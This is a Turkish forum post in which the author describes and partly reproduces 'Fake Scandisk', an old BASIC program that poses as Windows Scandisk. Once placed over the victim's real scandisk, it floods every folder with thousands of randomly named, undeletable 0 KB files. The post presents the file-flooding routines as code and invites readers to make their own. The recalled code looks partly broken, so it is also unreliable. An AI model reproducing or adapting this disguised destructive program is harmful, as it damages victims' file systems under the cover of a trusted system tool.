güzel "Parmağımla insanlara yıldızları gsteriyorum, onlar parmağıma bakıyorlar"

hoş devam... ey ulu TÜRK ğün, eşin yoktur altında gğün..!

Merhaba, Yaklaşık 2 yıl nce PDS 7.1(BASIC 7.1) ile yazdığım Fake Scandisk isimli program, Scandisk"i taklit ediyordu. Fakat diski kontrol etmek yerine pc de bulunan her klasrü, gizliler dahil, windows tarafından silinemeyen binlerce 0 kb lik dosyalarla dolduruyordu. Tabii kurbanın Windows klasründeki scandisk"in üzerine kopyalamak gerekiyordu. Windows açılışta scandisk yaparken gerçeği değil de Fake çalışıyordu. Programın mantığı çok basit. Siz de yapabilirsiniz. Genel olarak scandisk benzeri arabirimi çalışır hale getirdikten sonra o aşağıdaki percent bar ilerlerken FuckIt isimli bir fonksiyon çalışıyor ve adı üstünde Fuckuyordu. Sanırım şyle birşeydi. Function FuckIt as Integer on error resume next "hatalı dosya isimlerini atlaması için chdir for lp=1 to 10000 open CreateRndFile for output as #1 close #1 next lp End Function Function CreateRndFile as String "ilk nce ilk 8 karakter Randomize Timer for n=1 to 8 Temp8Char$=chr$(rnd 100) TempChar$=TempChar$+Temp8Char$ next TempChar$=TempChar$+"." "kalan 3 uzantı karakteri for n=1 to 3 Temp3Char$=chr$(rnd 100) TempChar$=TempChar$+Temp3Char$ next CreateRndFile=TempChar$ "Saçma sapan isme sahip bir dosya çıktı ortaya üstelik bu dosyaların bir çoğunu windows silemez ve dosya sistemi hatası verir. End Function Forum, Hikaye gibi blümlerde opsiyonel olarak her yazdığınızın sonuna eklenen yazı :))